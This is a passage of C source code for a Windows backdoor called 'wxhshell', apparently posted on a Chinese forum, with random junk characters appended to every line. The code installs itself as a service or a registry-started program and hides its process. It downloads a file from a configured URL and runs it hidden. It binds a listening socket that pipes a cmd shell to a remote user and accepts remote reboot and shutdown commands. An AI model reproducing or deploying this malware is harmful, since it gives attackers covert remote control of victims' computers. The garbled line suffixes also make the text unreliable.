  } P8hA<{UFS\  
  else { FKTdQg|NZ  
h L 1q9%  
    switch(cmd[0]) { cs]N%M^s  
  O F$0]V  
  // 帮助 [Yo3=(7J  
  case '?': { j.? '*?P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AY{-Hf&  
    break; 9~bl  
  } PGaB U3  
  // 安装 zYCrfr  
  case 'i': { :[;]6;  
    if(Install()) DAZzc :1Aj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g_kR5Wxpt  
    else <Yzk]98W5.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,G";ny[$  
    break; \7W4)>At-  
    } (=hXt=hZ  
  // 卸载 Mw=sW5Z  
  case 'r': { E\3fL"lM  
    if(Uninstall()) !H,_*u.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vdwh59W  
    else {fwA=J9%KS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {[r}&^K15  
    break; zG\g{cB  
    } 2~:jg1  
  // 显示 wxhshell 所在路径 E5-f{Qc  
  case 'p': { mlIX>ss|7B  
    char svExeFile[MAX_PATH]; wA@y B"  
    strcpy(svExeFile,"\n\r"); c4]/{!4 Q  
      strcat(svExeFile,ExeFile); "A_,Ga  
        send(wsh,svExeFile,strlen(svExeFile),0); ]2^tV.^S^  
    break; e,Ih7-=Er,  
    } + 9vd(c  
  // 重启 c6IFt4)g  
  case 'b': { qTbY'V5A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1ga-8&!  
    if(Boot(REBOOT)) ]:lqbg[J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1`t4wD$/  
    else { mcbr3P  
    closesocket(wsh); ds@w=~  
    ExitThread(0); ~VNN  
    } 64qm  
    break; W/z\j/Rgc  
    } ?\_N*NEtK  
  // 关机 'ZyHp=RN)  
  case 'd': { "`b"PQ<x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2_^{Vez@I  
    if(Boot(SHUTDOWN)) U}H2!et&,)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =5NM =K  
    else { r"yA=d'c  
    closesocket(wsh); t;[L-|^  
    ExitThread(0); RR2Q  
    } 1-_op !N  
    break; 5gZEcJ  
    } 68m (%%E@  
  // 获取shell ('!{kVLT-  
  case 's': { Gp=X1 F  
    CmdShell(wsh); ]dZ8]I<$C  
    closesocket(wsh); $"P9I-\m  
    ExitThread(0); x/nlIoT  
    break; f1c Q*#2~  
  } TW 2OT }  
  // 退出 MA\^<x_?L}  
  case 'x': { ;>*l?m-S@n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OBGA~E;%  
    CloseIt(wsh); 3t  
    break; GCN(  
    } Qt+|s&HGt  
  // 离开 ./_o+~\e'  
  case 'q': { W)3IS&;P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @agW{%R:.  
    closesocket(wsh); uZsm=('ww  
    WSACleanup(); UlBg6   
    exit(1); VE4Z;Dr"  
    break; 8no_xFA  
        } f/spJ<B).4  
  } [Z2:3*5r.  
  } /*5t@_0fe  
t;P%&:"@M  
  // 提示信息 DNsDEU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4"$K66yk@  
} [ vU$zZ<  
  } I }AO_rtb  
;#np~gL  
  return; zd) 2@jX=  
} %w <59d6  
E?c)WA2iH  
// shell模块句柄 wGd4:W  
int CmdShell(SOCKET sock) V K/;ohTTP  
{ "Aw| 7XII  
STARTUPINFO si; cswX?MN  
ZeroMemory(&si,sizeof(si)); FhJ8}at+e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l26DPtWi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j M%qv  
PROCESS_INFORMATION ProcessInfo; "j+zd&*={  
char cmdline[]="cmd"; K`!q1 g`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !^Mk5E(  
  return 0; I!(.tu6u6c  
} #q{i<E 07  
Dp:u!tdbeg  
// 自身启动模式 =}S*]Me5  
int StartFromService(void) O.7Q* ^_  
{ neQ2k=ao  
typedef struct rbP" n)0=  
{ IY@)  
  DWORD ExitStatus; j%%l$i~  
  DWORD PebBaseAddress; 3L24|-GxH  
  DWORD AffinityMask; &5&C   
  DWORD BasePriority; %N\pfZ2\  
  ULONG UniqueProcessId; m?;aTSa  
  ULONG InheritedFromUniqueProcessId; po~l8p>  
}   PROCESS_BASIC_INFORMATION; i2or/(u`  
]?P9M<0PM  
PROCNTQSIP NtQueryInformationProcess; "hRw_<  
vkmTd4g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .lMIJN&/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zh5{t0E}C  
76[O3%  
  HANDLE             hProcess; 9XGzQ45R  
  PROCESS_BASIC_INFORMATION pbi; F{*S}&q*)o  
'L#qR)t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |RqCw7  
  if(NULL == hInst ) return 0; {p -b,J9~a  
:[gM 5G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HR'r~ #j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `r"euO r\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 846j<fE  
cnAwoTt4  
  if (!NtQueryInformationProcess) return 0; 'U<-w$!f+^  
{;4AdZk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &wj;:f  
  if(!hProcess) return 0; ,RFcR[ak  
lhm=(7Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wI +oG  
c1j)  
  CloseHandle(hProcess); /ZAS%_as  
-Z&6PT7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #84pRU~  
if(hProcess==NULL) return 0; D$k40Mz  
\XR%pC  
HMODULE hMod; Dx/!^L02  
char procName[255]; ;$W/le"Xr  
unsigned long cbNeeded; i][7S mN  
L|G!of[8n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]saf<?fzr  
>V:g'[b  
  CloseHandle(hProcess); (80#{4kl  
-d\O{{%>.z  
if(strstr(procName,"services")) return 1; // 以服务启动 _5Q?]-M  
>8;Co]::kx  
  return 0; // 注册表启动 2BOe,giy  
} F,#)8>O  
Yo:l@(  
// 主模块 8:,E=swe  
int StartWxhshell(LPSTR lpCmdLine) Xz5 aTJ&  
{ CQfrAk4mu  
  SOCKET wsl; }fw;{&s{z  
BOOL val=TRUE; GW$ (E*4q  
  int port=0; v%3mhk#  
  struct sockaddr_in door; 89KX.d  
P[PBoRd2  
  if(wscfg.ws_autoins) Install(); >`DbT:/<  
]X +3"  
port=atoi(lpCmdLine); 5J1A|qII  
b7>^w<ki  
if(port<=0) port=wscfg.ws_port; E)|_7x<u  
<^VZ4$j  
  WSADATA data; P8.tl"q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iZ+\vO?|  
"|pNS)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UM%[UyYQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cOra`7L`  
  door.sin_family = AF_INET; a#W:SgE?Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wL,b.]  
  door.sin_port = htons(port); }*l V  
~I6Er6$C^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >jAr9Blz]  
closesocket(wsl); ((rk)Q+;v  
return 1; v=?U{{xQ  
} j.4oYxK!s/  
ABEC{3fWpu  
  if(listen(wsl,2) == INVALID_SOCKET) { zcItZP  
closesocket(wsl); W5?F?Dp!v  
return 1; z<rdxn,9  
} pmXx2T#=  
  Wxhshell(wsl); wzB*M}3  
  WSACleanup(); UwY<3ul  
'X{cDdS^  
return 0; L'4ob4r{L  
F.?`<7  
} Oy[1_qfP  
}.|\<8_  
// 以NT服务方式启动 0B)l"$W[)/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #"d.D7nA  
{ d -6[\S#  
DWORD   status = 0; w3:WvA5jt  
  DWORD   specificError = 0xfffffff; DHGv< F@  
{ 'Hi_b3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Fa^5.p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i](,s.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ojp)OeF\  
  serviceStatus.dwWin32ExitCode     = 0; DR/qe0D  
  serviceStatus.dwServiceSpecificExitCode = 0; ~u1ox_v`%(  
  serviceStatus.dwCheckPoint       = 0; zLXmjrC  
  serviceStatus.dwWaitHint       = 0; }[Uh4k8P  
 Q^/5hA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8^=g$;g  
  if (hServiceStatusHandle==0) return; `(1em%}  
!cw<C*  
status = GetLastError(); 0Mt2Rg}  
  if (status!=NO_ERROR) OlhfBu)~  
{ NAhV8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ed*Cx~rT  
    serviceStatus.dwCheckPoint       = 0; =25q Y"Mf  
    serviceStatus.dwWaitHint       = 0; ?RvXO'ml  
    serviceStatus.dwWin32ExitCode     = status; VE^NSk Oa&  
    serviceStatus.dwServiceSpecificExitCode = specificError; _:0<]<x?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C1P{4 U  
    return; 7P9n. [  
  } 1Nw&Z0MI  
?UQVmE&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^4]#Ri=U  
  serviceStatus.dwCheckPoint       = 0; *x[B g]/  
  serviceStatus.dwWaitHint       = 0; N+l~r]: &  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0.O pgv2K  
} JY0t Hs  
wNDLN`,^H  
// 处理NT服务事件,比如:启动、停止 FQB)rxP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BDxrSq,H  
{ 2F^ %d9`  
switch(fdwControl) s W+YfJT  
{ %Rr!I:[ $  
case SERVICE_CONTROL_STOP: ?AP2Opsl  
  serviceStatus.dwWin32ExitCode = 0; TW).j6@f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g}IdU;X$NT  
  serviceStatus.dwCheckPoint   = 0; 8+ eZU<\B(  
  serviceStatus.dwWaitHint     = 0; i9k7rEW^  
  { y#HD1SZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !^!<Xz;  
  } MLY19;e  
  return; >1a- }>r  
case SERVICE_CONTROL_PAUSE: Vj4 if@Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $/],QD_;"  
  break; !798%T  
case SERVICE_CONTROL_CONTINUE: >h<eEv/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f2_LfbvH  
  break; 5}9-)\8=z  
case SERVICE_CONTROL_INTERROGATE: k@5#^G  
  break; :q~qRRmjBe  
}; "$+naY{w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '0X!_w6W  
} Ql%7wrK  
F^_d8=67h  
// 标准应用程序主函数 /V~L:0%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P~ _CDh.N  
{ 0{ v?  
{b^naE  
// 获取操作系统版本 [ar:zl V8  
OsIsNt=GetOsVer(); 4DEsB)%X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cGkl=-oQ'  
Y+iC/pd  
  // 从命令行安装 G#5Cyu<r!  
  if(strpbrk(lpCmdLine,"iI")) Install(); @iUzRsl  
3`TC*  
  // 下载执行文件 vQ+}rHf`[  
if(wscfg.ws_downexe) { 3k;U#H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  vi4 1`  
  WinExec(wscfg.ws_filenam,SW_HIDE); )&+_T+\  
} 0-0 )E&2  
7t5X  
if(!OsIsNt) { oHI~-{m3)  
// 如果时win9x,隐藏进程并且设置为注册表启动 @<CJbFgJp  
HideProc(); <X p F  
StartWxhshell(lpCmdLine); #1hT#YN  
} , 9|%  
else :m5& i&  
  if(StartFromService()) )oTEB#J  
  // 以服务方式启动 .`Z{ptt>  
  StartServiceCtrlDispatcher(DispatchTable); k}ps-w6:  
else "x9xJ  
  // 普通方式启动 cLr? B;FS  
  StartWxhshell(lpCmdLine); <Ml,H%F  
T_Z@uZom.  
return 0; _I~TpH^1K  
}
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只看该作者 1 发表于: 2006-10-10
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